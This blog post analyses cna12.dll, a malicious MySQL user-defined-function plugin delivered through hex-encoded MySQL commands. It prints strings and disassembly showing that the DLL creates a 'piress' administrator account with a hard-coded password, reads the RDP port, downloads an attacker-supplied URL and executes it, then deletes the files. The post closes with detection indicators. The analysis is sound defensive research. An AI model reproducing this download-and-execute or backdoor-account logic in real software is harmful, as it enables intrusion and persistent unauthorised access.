Seeing an increase in MySQL attacks hitting your network and interested in knowing more about them? This post follows on from the previous posts in this series, and analyses the binary file, cna12.dll, extracted from the MySQL commands.
The previous post in this series extracted two similar looking binary files, both called cna12.dll, from the MySQL commands. The two files are different, but look similar to the point where one could be a later version of the other. The previous post also noted that the earlier version only came from two particular source addresses, where as the later version came from a series of different addresses.
The two binary files were:
cna12.dll (8981d24d223d8996d97a80f41a5a468e) cna12.dll (a922d55a873d4ad0bbbbbc8147a3a65a)
The 8981d24d223d8996d97a80f41a5a468e version is the earlier version (based on the timestamps in the PE headers). This post will concentrate on the a922d55a873d4ad0bbbbbc8147a3a65a version, being the later and the more common of the two.
Static Analysis (Basic)
$ file * 8981d24d223d8996d97a80f41a5a468e: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed a922d55a873d4ad0bbbbbc8147a3a65a: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
I suppose if you are going to hex encode your binary file and shove it in to a MySQL command, it makes sense to use a packer to compress it. The hex encoding will use two characters (bytes) for every byte of data in the file, so not compressing the binary file would take the hex string from 8192 characters, or 7168 characters, up to 40,960 characters. A MySQL command over 40,960 characters long may start running in to issues with MySQL’s command line buffer.
Let’s see if we can uncompress them. This doesn’t always work, as the files could be compressed with a different version or with a customised version of UPX.
$ upx -d * Ultimate Packer for eXecutables Copyright (C) 1996 - 2011 UPX 3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011 File size Ratio Format Name ------------- ------ ----------- ----------- 20480 <- 4096 20.00% win32/pe 8981d24d223d8996d97a80f41a5a468e 20480 <- 3584 17.50% win32/pe a922d55a873d4ad0bbbbbc8147a3a65a ------------- ------ ----------- ----------- 40960 <- 7680 18.75% [ 2 files ] Unpacked 2 files.
Smashing. I did notice when preparing the previous post and trying that upx -d command on one of the odd-ball binary files extracted by extractbins.sh, that the upx command seg faulted (generated a segmentation fault). This backs up the thinking that they were corrupt as a result of tcpick not reassembling the stream correctly.
Now, since those two uncompressed binaries are the same size, let’s see if they are actually the same binary (they may have been compressed with different versions of UPX and hence obtained different compression ratios):
$ md5sum -b * 19a8e6b0b54d449886ba7d7a54873aa7 *8981d24d223d8996d97a80f41a5a468e 17bafdc48177a7fab14245db5d107748 *a922d55a873d4ad0bbbbbc8147a3a65a
Ok. So they are different binaries. Let’s use objdump to dump some header information. I’ll start with a922d55a873d4ad0bbbbbc8147a3a65a as that was the most common of the two binaries. The previous post provides a summary of the differences between the PE header information contained in the two binaries:
$ objdump -x a922d55a873d4ad0bbbbbc8147a3a65a a922d55a873d4ad0bbbbbc8147a3a65a: file format pei-i386 a922d55a873d4ad0bbbbbc8147a3a65a architecture: i386, flags 0x0000010b: HAS_RELOC, EXEC_P, HAS_DEBUG, D_PAGED start address 0x1000140d Characteristics 0x210e executable line numbers stripped symbols stripped 32 bit words DLL Time/Date Fri Jul 13 10:34:22 2012 [...] The Data Directory Entry 0 00002270 0000006e Export Directory [.edata (or where ever we found it)] Entry 1 0000205c 00000078 Import Directory [parts of .idata] Entry 2 00000000 00000000 Resource Directory [.rsrc] Entry 3 00000000 00000000 Exception Directory [.pdata] Entry 4 00000000 00000000 Security Directory Entry 5 00004000 00000084 Base Relocation Directory [.reloc] Entry 6 00000000 00000000 Debug Directory Entry 7 00000000 00000000 Description Directory Entry 8 00000000 00000000 Special Directory Entry 9 00000000 00000000 Thread Storage Directory [.tls] Entry a 00000000 00000000 Load Configuration Directory Entry b 00000000 00000000 Bound Import Directory Entry c 00000000 00000000 Import Address Table Directory Entry d 00000000 00000000 Delay Import Directory Entry e 00000000 00000000 CLR Runtime Header Entry f 00000000 00000000 Reserved There is an import table in .rdata at 0x1000205c The Import Tables (interpreted .rdata section contents) vma: Hint Time Forward DLL First Table Stamp Chain Name Thunk 0000205c 00000000 00000000 00000000 00002130 00002010 DLL Name: KERNEL32.DLL 00002070 00000000 00000000 00000000 0000213d 00002000 DLL Name: ADVAPI32.dll 00002084 00000000 00000000 00000000 0000214a 00002024 DLL Name: MSVCRT.dll 00002098 00000000 00000000 00000000 00002155 00002048 DLL Name: NETAPI32.dll 000020ac 00000000 00000000 00000000 00002162 00002054 DLL Name: urlmon.dll 000020c0 00000000 00000000 00000000 00000000 00000000 There is an export table in .rdata at 0x10002270 The Export Tables (interpreted .rdata section contents) Export Flags 0 Time/Date stamp 4fff6d0e Major/Minor 0/0 Name 000022b6 mysql.dll Ordinal Base 1 Number in: Export Address Table 00000003 [Name Pointer/Ordinal] Table 00000003 Table Addresses Export Address Table 00002298 Name Pointer Table 000022a4 Ordinal Table 000022b0 Export Address Table -- Ordinal Base 1 [ 0] +base[ 1] 1030 Export RVA [ 1] +base[ 2] 1330 Export RVA [ 2] +base[ 3] 1020 Export RVA [Ordinal/Name Pointer] Table [ 0] xpdl3 [ 1] xpdl3_deinit [ 2] xpdl3_init [...] Sections: Idx Name Size VMA LMA File off Algn 0 .text 000004b0 10001000 10001000 00001000 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .rdata 000002de 10002000 10002000 00002000 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .data 000001f0 10003000 10003000 00003000 2**2 CONTENTS, ALLOC, LOAD, DATA 3 .reloc 000000bc 10004000 10004000 00004000 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA SYMBOL TABLE: no symbols
Looking at the date/time stamp, that looks like it could be correct (in that it isn’t obviously incorrect), and in an earlier post in this series we determined that these attacks started on March 16th 2012. This suggests that the attackers may have changed binaries. In fact, if we use objdump to look at the timestamp in the 8981d24d223d8996d97a80f41a5a468e binary, we see Tue May 22 01:46:20 2012, so in fact a922d55a873d4ad0bbbbbc8147a3a65a could be a later version of, or a complete replacement of, 8981d24d223d8996d97a80f41a5a468e. It will be interesting to compare the two.
Looking at the data directories, nothing overly concerning there. We can see that there are both imports and exports, which given that this is a DLL, is pretty normal. Also, we can see that there isn’t a thread storage directory to worry about. The presence of a thread storage directory suggests that we’d need to be careful when loading the binary in to a debugger, as there may be code which can run before the first breakpoint is hit.
I haven’t had too much success when using objdump to map the import functions by ordinal value, so we’ll let the debugger do that for us.
Now, here’s something of interest — the exported functions:
[ 0] xpdl3 [ 1] xpdl3_deinit [ 2] xpdl3_init
A quick Internet search for ‘MySQL CREATE FUNCTION’, tells us that we have a MySQL User Defined Function plugin DLL, and that the CREATE FUNCTION xpdl3 RETURNS STRING SONAME ‘cna12.dll’ MySQL command, found in the attack, is defining the xpdl3 SQL function that resides in the cna12.dll.
See CREATE PROCEDURE and CREATE FUNCTION Syntax for information on the CREATE FUNCTION MySQL command.
If we have a look at Adding New Functions to MySQL and subsequent subparts, we can see that cna12.dll is indeed looking like a MySQL plugin DLL that implements the SQL function xpdl3.
Let’s see if strings reveals anything:
$ strings a922d55a873d4ad0bbbbbc8147a3a65a [...] KERNEL32.DLL ADVAPI32.dll MSVCRT.dll NETAPI32.dll urlmon.dll DeleteFileA GetVersionExA WinExec Sleep RegCreateKeyA RegQueryValueExA RegCloseKey _adjust_fdiv _initterm sprintf malloc fclose fputs fopen free NetUserAdd NetLocalGroupAddMembers URLDownloadToFileA mysql.dll xpdl3 xpdl3_deinit xpdl3_init wrong...ok..(%s) portnumber (%d) osversion (%s) ok...(%s) portnumber (%d) osversion (%s) c:\Windows\v3.log C:\Windows\temp\tmp209\main.exe c:\Windows\temp\isetup.exe -o"C:\windows\temp\tmp209" -pabc -y Unknow Too-old! WinXP Win2003 Win2000 The-new2008 c:\Windows\temp\isetup.exe PortNumber SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
We have a collection of shared library (DLL) names and Win32 API function names, followed by what appears to be the information from the export directory.
The ‘wrong…’ and ‘ok…’ strings suggest that the DLL is going to be checking something. The Reg*() API function names suggest that it is going to create a registry key, possibly SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\, which appears later in the file. PortNumber appearing just before the registry key name, could be the name of a registry value.
Notice that we have URLDownloadToFileA() but that there doesn’t seem to be a URL in the file, so either part of the file is obfuscated, or the URL is fetched from somewhere else. Given that it is a MySQL function, and the fact that we see:
in the MySQL commands, it looks like the URL is passed as a parameter.
It looks like the DLL is going to create a logfile, c:\Windows\v3.log. It also looks like c:\Windows\temp\isetup.exe and C:\Windows\temp\tmp209\main.exe are related, as the path to the latter is passed to the former with a -o option. This could be a -o for output directory, which suggests that isetup.exe may download main.exe. That line of thinking is reinforced by the fact that we don’t see a URL to fetch main.exe from located in the DLL file itself, and that the SQL function call only passes the one URL and doesn’t mention main.exe.
NetUserAdd() and NetLocalGroupAddMembers(), suggest that the DLL is going to create a user and add them to a group, and I don’t know about you, but I’d be guessing the Administrators group.
We also saw WinExec(), and I would be guessing that that will be used to launch both isetup.exe and main.exe.
What is interesting is the first %s in the wrong/ok format strings, because the only strings that we haven’t found a use for so far look like they are describing versions of Windows, which are supposedly used by the second %s. Also, the fact that it mentions portnumber is interesting, as we don’t see any network calls other than URLDownloadToFileA().
So, we can hypothesise that this little DLL is going to check the version of Windows, create a user, add the user to a group (most likely the Administrators group), create a registry key, create a log file, take a URL as a parameter and download it to a file, and use WinExec() to execute either the downloaded file, isetup.exe, or main.exe.
That just made me think — the string ‘Administrators’ doesn’t appear in that strings output, which reminded me that you also need to run strings -el to extract Unicode strings. Doing so reveals:
$ strings -el a922d55a873d4ad0bbbbbc8147a3a65a Administrators adminlv123 piress
Given the fact that isetup.exe and main.exe aren’t standard Windows executables, then the DLL will download a file to one of those paths, or running the downloaded file will create one of those paths. Let’s see what we can find by examining it in a debugger.
Static Analysis (Advanced)
Let’s break out a debugger and have a look at this thing. I’m going to use IDA Pro (free edition) because it will draw a nice graph view which makes it easier to get a quick idea of what is going on.
The debugger drops us at DllMain(). In this case DllMain() is a small function that just checks to see if fdwReason is 1 (DLL_PROCESS_ATTACH) and if it is, it stores the value of hinstDLL (the base address of the module/module handle) in to the global variable dword_100031D8.
Clicking on the Functions tab we see the following functions:
DllMain(x,x,x) .text 10001000 0000001A R . . . . T . xpdl3_init .text 10001020 0000000E R . . . . . . xpdl3 .text 10001030 000002F2 R . . . . . . xpdl3_deinit .text 10001330 00000014 R . . . . . . NetLocalGroupAddMembers .text 10001350 00000006 R . . . . T . NetUserAdd .text 10001356 00000006 R . . . . T . URLDownloadToFileA .text 1000135C 00000006 R . . . . T . _CRT_INIT(x,x,x) .text 10001362 000000AB R . L . . . . DllEntryPoint .text 1000140D 0000009D R . L . B T . _initterm .text 100014AA 00000006 R . . . . . .
Let’s start with xpdl3_init(). UDF Calling Sequences for Simple Functions tells us that the function prototype for the User Defined Function’s init() function is:
my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
The xpdl3_init() function from our little DLL is as follows:
.text:10001020 xpdl3_init proc near .text:10001020 .text:10001020 arg_0 = dword ptr 4 .text:10001020 .text:10001020 mov eax, [esp+arg_0] .text:10001024 mov dword ptr [eax+8], 4100000h .text:1000102B xor al, al .text:1000102D retn .text:1000102D xpdl3_init endp
This, then, is placing 0x4100000 in to offset 8 of the UDF_INIT structure, and returning 0. My copy of mysql_com.h suggests that, after word alignment to a four-byte boundary, this is setting UDF_INIT.max_length to 0x4100000.
Let’s look at xpdl3_deinit() as it is also small:
.text:10001330 xpdl3_deinit proc near .text:10001330 .text:10001330 arg_0 = dword ptr 4 .text:10001330 .text:10001330 mov eax, [esp+arg_0] .text:10001334 mov eax, [eax+0Ch] .text:10001337 test eax, eax .text:10001339 jz short locret_10001343 .text:1000133B push eax ; void * .text:1000133C call ds:free .text:10001342 pop ecx .text:10001343 .text:10001343 locret_10001343: ; CODE XREF: xpdl3_deinit+9j .text:10001343 retn .text:10001343 xpdl3_deinit endp
That is checking the value at offset 0x0c in the UDF_INIT structure pointed to by the first parameter (arg_0). According to mysql_com.h, that is UDF_INIT.ptr, which is defined as a free pointer for function data. If it is not null, this pointer is passed to free(). This pointer is obviously used to keep track of some allocated memory at some point.
Let’s take a look at xpdl3(). This function is somewhat longer, so I’ll only include snippets. I’ve added some comment lines.
; Create/open the registry key .text:10001039 lea eax, [esp+240h+hKey] .text:1000103D push edi .text:1000103E push eax ; phkResult .text:1000103F xor esi, esi .text:10001041 push offset SubKey ; "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\" .text:10001046 push HKEY_LOCAL_MACHINE ; hKey .text:1000104B mov dword ptr [esp+250h+var_regPortNumber], esi .text:1000104F mov [esp+250h+cbData], 4 .text:10001057 call ds:RegCreateKeyA .text:1000105D test eax, eax .text:1000105F jnz short loc_10001081 ; if the open/creation succeeded, attempt to read the PortNumber value .text:10001061 lea ecx, [esp+244h+cbData] .text:10001065 lea edx, [esp+244h+var_regPortNumber] .text:10001069 push ecx ; lpcbData .text:1000106A mov ecx, [esp+248h+hKey] .text:1000106E lea eax, [esp+248h+Type] .text:10001072 push edx ; lpData .text:10001073 push eax ; lpType .text:10001074 push esi ; lpReserved .text:10001075 push offset ValueName ; "PortNumber" .text:1000107A push ecx ; hKey .text:1000107B call ds:RegQueryValueExA .text:10001081 ; Close the registry key .text:10001081 loc_10001081: ; CODE XREF: xpdl3+2Fj .text:10001081 mov edx, [esp+244h+hKey] .text:10001085 push edx ; hKey .text:10001086 call ds:RegCloseKey
It then does some reasonably uninteresting initialisation of a USER_INFO_1 struct by setting all values to 0, but then does:
; parm_err is initialised to 0. ; The esi register contains 0 (NULL) at this point, meaning the local computer. .text:1000109D lea eax, [esp+244h+parm_err] .text:100010A1 lea ecx, [esp+244h+buf] .text:100010A5 push eax ; parm_err .text:100010A6 push ecx ; buf .text:100010A7 push 1 ; level .text:100010A9 push esi ; servername ; Create a piress user with a password of adminlv123. .text:100010AA mov dword ptr [esp+254h+buf+USER_INFO_1.usri1_name], offset aPiress ; "piress" .text:100010B2 mov [esp+254h+buf+USER_INFO_1.usri1_password], offset aAdminlv123 ; "adminlv123" .text:100010BA mov [esp+254h+buf+USER_INFO_1.usri1_priv], USER_PRIV_USER .text:100010C2 mov dword ptr [esp+254h+buf+USER_INFO_1.usri1_flags], UF_NORMAL_ACCOUNT .text:100010CA call NetUserAdd ; Load the address of the username in to the edx register .text:100010CF mov edx, dword ptr [esp+244h+buf] .text:100010D3 lea eax, [esp+244h+var_22C] .text:100010D7 push 1 ; totalentries .text:100010D9 push eax ; buf ; level 3 means that the users are specified by domain and name .text:100010DA push 3 ; level .text:100010DC push offset groupname ; "Administrators" .text:100010E1 push esi ; servername ; set var_22C to point to the username string .text:100010E2 mov [esp+258h+var_22C], edx .text:100010E6 call NetLocalGroupAddMembers
Now if that doesn’t bring a smile to your face, nothing will. That fragment creates a user and adds them to the Administrators group. This suggests that the attack is being performed by a friendly Windows administrator, going by the name of piress, who would like to help you look after your Windows box. Ha!
It then fetches UDF_ARGS.args, which from the SQL commands that call this function, appears to be a filename. This string is copied to a local variable that I have called var_filename_sqlarg.
It then calls DeleteFileA(“c:\Windows\temp\isetup.exe”).
Following this, there are a few blocks of code to check the Windows version returned by GetVersionExA(). It uses one of the following version strings (yes the Unknow is missing the ‘n’ in the DLL file — it is not a typo on my part) to record the version:
Unknow Too-old! Win2000 Win2003 WinXP The-new2008
After copying the version string to a local variable that I shall call var_verstr, it calls URLDownloadToFileA():
.text:100011B5 push 0 ; LPBINDSTATUSCALLBACK lpfnCB [...] .text:100011BD push 0 ; DWORD dwReserved [...] .text:100011C6 push offset FileName ; LPCTSTR szFileName == "c:\\Windows\\temp\\isetup.exe" [...] .text:100011D0 mov ecx, [ebp+8] ; UDF_ARGS * .text:100011D3 mov edx, [ecx] ; UDF_ARGS.args .text:100011D5 push edx ; LPCTSTR szURL .text:100011D6 push 0 ; LPUNKNOWN pCaller .text:100011D8 call URLDownloadToFileA .text:100011DD test eax, eax .text:100011DF jnz loc_100012BA
If URLDownloadToFileA() fails, that is, it returns a non-zero value, the DLL calls malloc() to allocate a block of memory the size of the URL string plus 119 bytes, and uses sprintf() to store the following string there:
wrong...ok..(%s) portnumber (%d) osversion (%s)
where the % parameters are the download URL (first parameter passed by the SQL function call), the value of the PortNumber registry value or 0 if it wasn’t set, and one of the OS version strings above.
If URLDownloadToFileA() succeeds, that is, it returns zero, the DLL does the following:
.text:100011E5 mov esi, ds:WinExec .text:100011EB push SW_MINIMIZE ; uCmdShow .text:100011ED push offset CmdLine ; "c:\\Windows\\temp\\isetup.exe -o\"C:\\windows\\temp\\tmp209\" -pabc -y" .text:100011F2 call esi ; WinExec .text:100011F4 mov edi, ds:Sleep .text:100011FA push 10000 ; dwMilliseconds .text:100011FF call edi ; Sleep .text:10001201 push SW_MINIMIZE ; uCmdShow .text:10001203 push offset aCWindowsTempTm ; "C:\\Windows\\temp\\tmp209\\main.exe" .text:10001208 call esi ; WinExec .text:1000120A push 10000 ; dwMilliseconds .text:1000120F call edi ; Sleep .text:10001211 push offset FileName ; "c:\\Windows\\temp\\isetup.exe" .text:10001216 call ebx ; DeleteFileA .text:10001218 push offset aCWindowsTempTm ; "C:\\Windows\\temp\\tmp209\\main.exe" .text:1000121D call ebx ; DeleteFileA .text:1000121F push offset aAB ; "a+b" .text:10001224 push offset aCWindowsV3_log ; "c:\\Windows\\v3.log" .text:10001229 call ds:fopen .text:1000122F mov esi, eax .text:10001231 add esp, 8 .text:10001234 test esi, esi .text:10001236 jz short loc_1000124E .text:10001238 push esi ; FILE * .text:10001239 push offset aOk ; "ok" .text:1000123E call ds:fputs .text:10001244 push esi ; FILE * .text:10001245 call ds:fclose .text:1000124B add esp, 0Ch
Which seems to be where most of the malicious activity takes place. If URLDownloadToFileA() succeeds (returns 0), then it executes the following command in a minimised window (SW_MINIMIZE), and then sleeps for ten seconds (10,000ms):
c:\Windows\temp\isetup.exe -o"C:\windows\temp\tmp209" -pabc -y
It then executes c:\Windows\temp\tmp209\main.exe in a minimised window and sleeps for another ten seconds, before deleting both of those .exe files. It then opens the log file c:\Windows\v3.log for reading and appending (a+) in binary mode (b), and writes the string ok to it.
It finishes up by returning the status message to MySQL through the ptr element of the UDF_INIT structure passed as the first parameter:
ok...(%s) portnumber (%d) osversion (%s)
This time though, the first %s is replaced by the argument passed as the second parameter in the SQL function call which, in these attacks, looks like a filename.
To conclude, before this post gets any longer, these ‘autocommit’ MySQL attacks are attempting to write a hex encoded Windows DLL to the MySQL plugin directory, and also to the MySQL bin/ directory.
The DLL file implements a MySQL UDF (User Defined Function), xpdl3, which takes a URL to download and a path to a file as parameters. The filename passed as the second argument appears to only be used in the returned status message
The function first obtains the TCP port number for RDP from the HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber registry value. The key is created if it doesn’t exist, but the PortNumber value isn’t.
The function then creates a user account piress with a password of adminlv123, and adds it to the Administrators group.
The URL passed as the first function argument is downloaded to c:\Windows\temp\isetup.exe, and then executed with command line options -o”C:\windows\temp\tmp209″ -pabc -y. The -pabc looks like it could be specifying a simple ‘password’, there to prevent the binary from proceeding with any malicious activity when automatically run in a sandbox. I suspect that isetup.exe is then responsible for downloading C:\windows\temp\tmp209\main.exe which is executed next. The two executable files are then deleted.
Assuming this malware doesn’t go on to install a rootkit or otherwise try to hide its presence, you should be able to detect it by looking for a piress user account, a piress user in the Administrators group, or the log file c:\Windows\v3.log. If you are able to examine a disk image forensically, you could also look for deleted files c:\Windows\temp\isetup.exe and C:\windows\temp\tmp209\main.exe.
Dynamic analysis of this DLL is made harder by the fact that it is a MySQL plugin, and hence it is expecting the MySQL server to send arguments to it. I am currently working on a Cuckoo Sandbox package to allow me to dynamically analyse MySQL commands.